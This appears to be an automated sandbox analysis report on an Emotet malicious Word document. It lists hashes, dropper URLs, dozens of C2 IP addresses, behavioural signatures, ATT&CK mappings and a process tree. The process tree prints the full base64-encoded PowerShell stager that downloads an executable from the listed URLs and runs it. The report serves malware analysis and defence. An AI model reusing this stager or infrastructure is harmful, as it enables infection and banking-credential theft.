emotet | b118fd8dcf97cf570ff2c1e3640e17e7fe7bd4f73b7ec79f4aac13d6b1fcca19

General

Target
emotet_e2_b118fd8dcf97cf570ff2c1e3640e17e7fe7bd4f73b7ec79f4aac13d6b1fcca19_2020-08-14__192437._doc.doc
Size 230KB
Sample200814-a6rc84pwhe
SHA256 b118fd8dcf97cf570ff2c1e3640e17e7fe7bd4f73b7ec79f4aac13d6b1fcca19
MD5 a4782f4afe39d1a01bee86bc360b7414
SHA1 eba89ecba14fded2670ea096c09cb959f0cfae20
SHA512 b4ee93e82ad87c618b3b90093060a50f284325b4383c5d4b4d298d801067049d2a640077b75be9ef4ead03bbfc2fd3ce2f02bfd4c03c52819bb24a93dae6cce5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://construction.maitriinfosoft.com/9efesfwep/en99_b_96ukm/
exe.dropper
http://tocro.net/fmc66/g3h_xw_epkgkl0y/
exe.dropper
http://duolife-partner.com/wp-content/h7_t5l_xkezzpi/
exe.dropper
http://neukenmetsterren.nl/wp-admin/tc_8o8_fw6/
exe.dropper
http://gh.xahpyy120.com/phpmyadmin/h_1u_ta2d6cpl/

Extracted

Family

emotet

C2

75.139.38.211:80
69.30.203.214:8080
67.205.85.243:8080
190.160.53.126:80
183.101.175.193:80
137.59.187.107:8080
168.235.67.138:7080
209.143.35.232:80
180.92.239.110:8080
167.86.90.214:8080
85.66.181.138:80
95.213.236.64:8080
83.169.36.251:8080
157.245.99.39:8080
79.98.24.39:8080
70.167.215.250:8080
93.51.50.171:8080
174.102.48.180:80
24.179.13.119:80
41.60.200.34:80
188.83.220.2:443
91.211.88.52:7080
24.43.99.75:80
47.144.21.12:443
37.187.72.193:8080
104.131.44.150:8080
199.101.86.142:8080
116.203.32.252:8080
85.152.162.105:80
83.110.223.58:443
78.24.219.147:8080
62.75.141.82:80
152.168.248.128:443
157.147.76.151:80
24.137.76.62:80
121.124.124.40:7080
62.138.26.28:8080
173.62.217.22:443
107.185.211.16:80
103.86.49.11:8080
113.160.130.116:8443
72.12.127.184:443
181.211.11.242:80
204.197.146.48:80
176.111.60.55:8080
104.236.246.93:8080
97.82.79.83:80
74.208.45.104:8080
87.106.136.232:8080
209.141.54.221:8080
169.239.182.217:8080
110.145.77.103:80
222.214.218.37:4143
165.165.171.160:8080
47.146.117.214:80
139.59.60.244:8080
203.153.216.189:7080
5.196.74.210:8080
37.139.21.175:8080
201.173.217.124:443
47.153.182.47:80
2.58.16.85:7080
109.116.214.124:443
200.41.121.90:80
95.179.229.244:8080
142.105.151.124:443
5.39.91.110:7080
185.94.252.104:443
189.212.199.126:443
109.74.5.95:8080
37.70.8.161:80
190.55.181.54:443
61.19.246.238:443
74.120.55.163:80
85.105.205.77:8080
181.230.116.163:80
104.131.11.150:443
81.2.235.111:8080
203.117.253.142:80
24.233.112.152:80
47.146.32.175:80
76.27.179.47:80
87.106.139.101:8080
46.105.131.79:8080
139.130.242.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	3808	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/532-15-0x00000000021B0000-0x00000000021BC000-memory.dmp	emotet
behavioral2/memory/532-15-0x00000000021B0000-0x00000000021BC000-memory.dmp	emotet
behavioral2/memory/1084-18-0x0000000002090000-0x000000000209C000-memory.dmp	emotet
behavioral2/memory/1084-18-0x0000000002090000-0x000000000209C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
9	1000	powersheLL.exe
15	1000	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
532	Wxnd.exe
1084	dmime.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\bthudtask\dmime.exe	Wxnd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1000	powersheLL.exe
1000	powersheLL.exe
1000	powersheLL.exe
1084	dmime.exe
1084	dmime.exe
1084	dmime.exe
1084	dmime.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
532	Wxnd.exe
532	Wxnd.exe
1084	dmime.exe
1084	dmime.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 532	1000	powersheLL.exe	75
PID 1000 wrote to memory of 532	1000	powersheLL.exe	75
PID 1000 wrote to memory of 532	1000	powersheLL.exe	75
PID 532 wrote to memory of 1084	532	Wxnd.exe	77
PID 532 wrote to memory of 1084	532	Wxnd.exe	77
PID 532 wrote to memory of 1084	532	Wxnd.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b118fd8dcf97cf570ff2c1e3640e17e7fe7bd4f73b7ec79f4aac13d6b1fcca19_2020-08-14__192437._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAHMAOQBrAHcAdgBoAD0AJwBYAGUANQB5ADkAdABqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGMAVQByAGkAdAB5AHAAcgBPAGAAVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABWAGgAawB6AHUAMAB0ACAAPQAgACcAVwB4AG4AZAAnADsAJABEADYAagB3AGUAcgAzAD0AJwBMAF8AagBmADgANgB4ACcAOwAkAE0AcQBkAGoAOQA1AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABWAGgAawB6AHUAMAB0ACsAJwAuAGUAeABlACcAOwAkAEwAbgA5ADcAaQB1AG4APQAnAEEAMAA1AGwAMABwADMAJwA7ACQARgB1AGQAdgBzAGkAZQA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgB3AEUAYgBDAGwASQBFAE4AdAA7ACQATAAyAGkAdwAwADEAegA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBzAHQAcgB1AGMAdABpAG8AbgAuAG0AYQBpAHQAcgBpAGkAbgBmAG8AcwBvAGYAdAAuAGMAbwBtAC8AOQBlAGYAZQBzAGYAdwBlAHAALwBlAG4AOQA5AF8AYgBfADkANgB1AGsAbQAvACoAaAB0AHQAcAA6AC8ALwB0AG8AYwByAG8ALgBuAGUAdAAvAGYAbQBjADYANgAvAGcAMwBoAF8AeAB3AF8AZQBwAGsAZwBrAGwAMAB5AC8AKgBoAHQAdABwADoALwAvAGQAdQBvAGwAaQBmAGUALQBwAGEAcgB0AG4AZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AaAA3AF8AdAA1AGwAXwB4AGsAZQB6AHoAcABpAC8AKgBoAHQAdABwADoALwAvAG4AZQB1AGsAZQBuAG0AZQB0AHMAdABlAHIAcgBlAG4ALgBuAGwALwB3AHAALQBhAGQAbQBpAG4ALwB0AGMAXwA4AG8AOABfAGYAdwA2AC8AKgBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AaABfADEAdQBfAHQAYQAyAGQANgBjAHAAbAAvACcALgAiAHMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBxADQANQBpAGwAZgA9ACcAVgBxAGUAOAA2AHoAMwAnADsAZgBvAHIAZQBhAGMAaAAoACQARABwADUAbABzAG4AeAAgAGkAbgAgACQATAAyAGkAdwAwADEAegApAHsAdAByAHkAewAkAEYAdQBkAHYAcwBpAGUALgAiAGQAbwBXAGAATgBMAGAAbwBhAGAARABGAGkAbABFACIAKAAkAEQAcAA1AGwAcwBuAHgALAAgACQATQBxAGQAagA5ADUAdwApADsAJABYAGoAcAB1AHYAaQA1AD0AJwBOAHEAdwBnAHkAcQA0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBxAGQAagA5ADUAdwApAC4AIgBMAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADIAMAAwADYANAApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABNAHEAZABqADkANQB3ACkAOwAkAEcAbAByAGIANQAyAGUAPQAnAFUAYwA0AHEAcgAwAG0AJwA7AGIAcgBlAGEAawA7ACQAVABwAHoAXwBpAHAAdwA9ACcARgBsADQAMQAwAHIAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHkAdwBuAGwAYQBjAD0AJwBJAGwANABnAGIAZgBiACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1000
- C:\Users\Admin\AppData\Local\Temp\Wxnd.exe
  "C:\Users\Admin\AppData\Local\Temp\Wxnd.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\SysWOW64\bthudtask\dmime.exe
    "C:\Windows\SysWOW64\bthudtask\dmime.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/532-15-0x00000000021B0000-0x00000000021BC000-memory.dmp

Download

memory/1000-9-0x00007FFB49540000-0x00007FFB49F2C000-memory.dmp

Download

memory/1000-10-0x0000016A96B70000-0x0000016A96B71000-memory.dmp

Download

memory/1000-11-0x0000016AAEEE0000-0x0000016AAEEE1000-memory.dmp

Download

memory/1084-18-0x0000000002090000-0x000000000209C000-memory.dmp

Download

memory/2920-6-0x000002000B61B000-0x000002000B624000-memory.dmp

Download

memory/2920-7-0x000002000B61B000-0x000002000B624000-memory.dmp

Download

memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

Download

memory/2920-5-0x0000020008FC3000-0x0000020008FCE000-memory.dmp

Download

memory/2920-4-0x000002000B59F000-0x000002000B5A4000-memory.dmp

Download

memory/2920-3-0x000002000B5A4000-0x000002000B5A9000-memory.dmp

Download

memory/2920-2-0x000002000B59F000-0x000002000B5A4000-memory.dmp

Download

memory/2920-1-0x000002000B59F000-0x000002000B5A4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads